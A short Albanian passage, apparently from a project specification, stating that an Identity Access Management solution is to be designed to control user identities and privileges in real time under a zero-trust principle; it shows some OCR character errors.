T€ projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér t& kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale
sipas parimit “zero-trust”.
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